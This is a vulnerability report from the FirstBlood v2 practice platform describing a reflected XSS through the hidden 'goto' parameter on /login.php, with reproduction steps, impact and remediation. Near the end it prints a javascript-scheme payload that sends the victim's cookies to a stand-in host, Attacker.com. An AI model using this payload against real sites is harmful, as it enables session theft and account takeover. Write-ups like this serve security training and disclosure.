FirstBlood-#479 — Reflected XSS on /login.php using "goto" parameter and javascript scheme
This issue was discovered on FirstBlood v2
On 2021-10-25, holybugx Level 5 reported:
Description
Hello Sean,
Reflected XSS on /login.php is possible through the hidden goto parameter, which leads to various user's account takeover.
This vulnerability makes use of the javascript scheme to achieve a working XSS payload.
There are two scenarios to exploit this vulnerability on this endpoint:
-
-
Exploiting a not logged-in doctor
Filtering the javascript scheme is important as if the doctor is not logged-in to the panel, we can use this exploitation scenario to steal their drps cookies and take over their accounts after their login.
Background
Discovering hidden GET parameters are important when we are facing an endpoint, especially with Login and Registration. There are various tools that are capable of finding the hidden parameters. I used Arjun on the /login.php endpoint and found the hidden goto parameter:

The value of this parameter is reflected directly into the source code:

Then I realized that XSS is also possible as proper input validation was not in place.

Steps To Reproduce
- Open the following URL and log in using a doctor's account:
- After providing the credentials, you will be redirected to the attacker's server and your cookies will be sent over as well:

An attacker can use the stolen cookies to takeover various user's accounts including the drAdmin account.
Impact
- XSS leading to one-click account takeover of various users and admins.
Remediation
- Implement proper sanitization on the
goto parameter.
- Implement proper filtering of the
javascript scheme.
- Set
httponly cookies so that javascript can not access the cookies.
- Remove/Expire the
drps cookies after logging out.
Kind Regards,
HolyBugx
P3 Medium
Endpoint: /login.php
Parameter: goto
Payload: javascript:window.location.href=`http://Attacker.com/${document.cookie}`
FirstBlood ID: 39
Vulnerability Type: Reflective XSS
Our mistake: The parameter "goto" on login.php should of been "fixed" when redirecting to prevent XSS but due to an oversight from Sean and Karl, the new code did not make it into production. This has since updated since the event ended and you're recommended to re-try. It's related to bug ID 26 because the idea was developers fixed *this* one (when redirecting) but forgot the other reflection.